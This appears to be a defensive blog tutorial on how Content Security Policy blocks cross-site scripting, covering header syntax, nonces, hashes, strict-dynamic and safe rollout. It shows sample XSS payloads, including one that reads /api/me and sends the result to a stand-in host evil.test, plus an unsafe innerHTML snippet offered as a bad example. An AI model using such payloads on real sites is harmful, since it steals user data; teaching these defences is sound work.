Cross-site scripting is one of those vulnerabilities that never really goes away. We get better frameworks, safer templating, stricter defaults, and still XSS shows up in bug bounty reports every day. The reason is simple: if an attacker can get the browser to execute JavaScript you didn’t intend to run, they can often act as the user, steal data, or pivot deeper into your app.

Content Security Policy, or CSP, is one of the few browser features that can meaningfully reduce the blast radius of XSS. It is not a silver bullet. It will not magically fix unsafe HTML rendering. But a good CSP can turn “one bad escaping bug equals account takeover” into “the payload just doesn’t run.”

This tutorial covers how CSP stops XSS, what it actually blocks, and how to build a policy that helps instead of just looking good in a security checklist.

What CSP actually does

CSP is an HTTP response header that tells the browser what kinds of resources are allowed to load and execute. The most important part for XSS defense is script control.

A browser receiving a CSP header can enforce rules like:

  • only load JavaScript from this origin
  • block all inline scripts
  • block inline event handlers like onclick
  • only allow scripts with a specific nonce
  • prevent dangerous string-to-code functions like eval
  • restrict where frames, images, styles, and forms can go

Here’s a simple CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

That policy says:

  • by default, only load resources from the same origin
  • scripts can only come from the same origin
  • plugins like Flash are completely blocked
  • the <base> tag can only point to the same origin

That alone already blocks a lot of classic XSS payloads.

Why CSP matters for XSS

Let’s say your page has a reflected XSS bug:

https://example.com/search?q=<script>alert(1)</script>

If your application blindly reflects q into the page HTML, the browser would normally execute that script.

Without CSP:

<div>You searched for: <script>alert(1)</script></div>

The browser parses and runs it.

With a strict CSP that does not allow inline scripts:

Content-Security-Policy: default-src 'self'; script-src 'self'

That injected <script>alert(1)</script> is blocked because it is inline code, and script-src 'self' does not permit inline scripts.

That’s the first big win: CSP blocks many payloads even when your output encoding fails.

The kinds of XSS CSP can block

CSP is especially effective against payloads that rely on:

Inline script tags

<script>alert(1)</script>

Blocked unless you allow 'unsafe-inline', a nonce, or a hash.

Inline event handlers

<img src="x" onerror="alert(1)">
<button onclick="steal()">Click me</button>

Also blocked by a strict script policy. This is one reason CSP pushes people away from inline JavaScript and toward proper event listeners in separate scripts.

JavaScript URLs

<a href="javascript:alert(1)">click</a>

Usually blocked under a strong CSP.

Malicious external script injection

If an attacker injects this:

<script src="https://evil.example/x.js"></script>

and your policy only allows scripts from your own origin or approved domains, the browser refuses to load it.

What CSP does not fix

This is where people get overconfident.

CSP does not replace output encoding, input validation, sanitization, or safe DOM APIs. It reduces exploitability, but it does not remove the bug.

It also does not help much if you deploy a weak policy like this:

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'

That policy sounds restrictive, but it keeps the two most dangerous allowances:

  • 'unsafe-inline' lets inline script and event handler payloads run
  • 'unsafe-eval' allows code execution via eval, new Function, and similar patterns

If you allow both, your CSP is barely doing XSS defense.

A practical example

Imagine this vulnerable server-side template:

<h1>Welcome</h1>
<div id="message">
  {{ userInput }}
</div>

An attacker submits:

<script>fetch('/api/me').then(r=>r.text()).then(x=>fetch('https://evil.test/log?d='+encodeURIComponent(x)))</script>

If the app inserts that directly into HTML, that script executes and steals data.

Now add this response header:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

The attack now fails because:

  • the inline <script> is blocked
  • loading a helper script from another domain is blocked
  • plugin tricks are blocked
  • <base> tag abuse is blocked

That’s CSP doing exactly what you want: stopping code execution in the browser.

The best modern pattern: nonce-based CSP

If you have any JavaScript embedded directly in your HTML, the cleanest approach is usually a nonce-based policy.

A nonce is a random one-time token generated per response. You include it in the CSP header and on each allowed script tag.

Example header:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m123'; object-src 'none'; base-uri 'none'

Example HTML:

<script nonce="rAnd0m123">
  window.appConfig = { userId: "123" };
</script>

<script nonce="rAnd0m123" src="/static/app.js"></script>

Only scripts with the matching nonce can run. If an attacker injects their own <script>, it won’t have the correct nonce, so it gets blocked.

A few rules matter here:

  • generate a fresh unpredictable nonce for every response
  • never reuse the same nonce across requests
  • do not expose the nonce in places attackers can read and reuse easily
  • do not combine nonces with sloppy inline script patterns

In practice, this is one of the strongest CSP setups for server-rendered apps.

Hash-based CSP

If your inline script is static and does not change, you can allow it with a hash instead of a nonce.

Example:

Content-Security-Policy: script-src 'self' 'sha256-AbCdEf123...'

The browser computes the hash of the inline script content. If it matches, the script runs.

This works well for very stable pages, but it becomes annoying if script content changes often. Nonces are usually easier for dynamic applications.

strict-dynamic and why it’s powerful

If you’re building a modern app and using nonces, strict-dynamic is worth understanding.

Example:

Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'

This tells the browser to trust scripts that have the valid nonce, and also trust scripts loaded by those trusted scripts. That can simplify script loading in apps with module loaders or runtime bootstrapping.

It also helps avoid huge allowlists of script domains, which are often a mess and can become security debt.

My opinion: if you can use nonce-based CSP with strict-dynamic, that is much better than maintaining a giant script-src hostname list and hoping none of those third parties ever become a problem.

Common mistakes that weaken CSP

Allowing unsafe-inline

This is the classic footgun.

Content-Security-Policy: script-src 'self' 'unsafe-inline'

That largely defeats CSP as an XSS mitigation because injected inline scripts and event handlers may execute.

Allowing unsafe-eval

Content-Security-Policy: script-src 'self' 'unsafe-eval'

This doesn’t directly allow <script>alert(1)</script>, but it opens dangerous execution paths and often signals the app is relying on legacy coding patterns that are hard to secure.

Using broad third-party allowlists

Content-Security-Policy: script-src 'self' *.cdn.com *.analytics.com *.tagmanager.com

This can become fragile fast. If one trusted domain hosts user-controlled JS, or if a third-party loader is compromised, your policy may permit attacker-controlled code.

Forgetting DOM-based XSS

CSP helps, but DOM XSS can still be nasty if your own trusted scripts read untrusted data and inject it into dangerous sinks.

Example:

const name = new URLSearchParams(location.search).get('name');
document.body.innerHTML = name;

Even with CSP, some payloads may still create trouble, especially if your policy contains unsafe exceptions. Fix the bug. Don’t just lean on CSP.

A solid starter policy

For many applications, this is a decent baseline:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  style-src 'self';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  form-action 'self';

What this does:

  • defaults everything to same-origin
  • allows scripts only from same-origin and only with a valid nonce
  • blocks old plugin content
  • prevents clickjacking with frame-ancestors 'none'
  • prevents <base> tag abuse
  • restricts where forms can submit

You may need to adjust connect-src, img-src, or style-src depending on your stack, but this is much better than the usual permissive policies people ship.

Roll out CSP safely

Don’t go straight to blocking mode on a complex production app unless you enjoy emergency rollbacks.

Start with report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; object-src 'none'; base-uri 'none'; report-uri /csp-report

In report-only mode, the browser logs violations but does not block them. This lets you see what would break.

Then fix your app:

  • remove inline event handlers
  • move inline scripts into external files or nonce-protected blocks
  • stop using eval
  • reduce third-party script dependencies
  • add nonces in your templates

Once violations are understood, switch to enforcing Content-Security-Policy.

Testing and debugging

CSP failures show up in browser developer tools, usually in the console. You’ll see messages explaining which directive blocked what.

That helps a lot when tightening a policy. Also, if you want a quick external check, Scan your site for XSS vulnerabilities and other security issues at headertest.com - free, instant, no signup required.

CSP is a safety net, not a license to be sloppy

The best way to think about CSP is as a second line of defense.

First line:

  • context-aware output encoding
  • safe templating
  • sanitizing untrusted HTML when you truly must allow HTML
  • avoiding dangerous DOM sinks like innerHTML
  • using textContent, safe attribute setters, and vetted libraries

Second line:

  • a strict CSP that makes injected script much harder to execute

That combination is what actually moves the needle.

Final takeaway

How does Content Security Policy stop XSS? By telling the browser, very explicitly, what script is allowed to run. If an attacker injects JavaScript that doesn’t match those rules, the browser blocks it before execution.

The strongest CSPs do a few things consistently:

  • block inline script by default
  • use per-response nonces or hashes
  • avoid 'unsafe-inline' and 'unsafe-eval'
  • minimize third-party script trust
  • deploy with report-only first, then enforce

If you only remember one thing, remember this: CSP does not fix XSS bugs, but it absolutely can stop many real-world XSS payloads from becoming exploitable. That makes it one of the most valuable browser-side defenses you can deploy.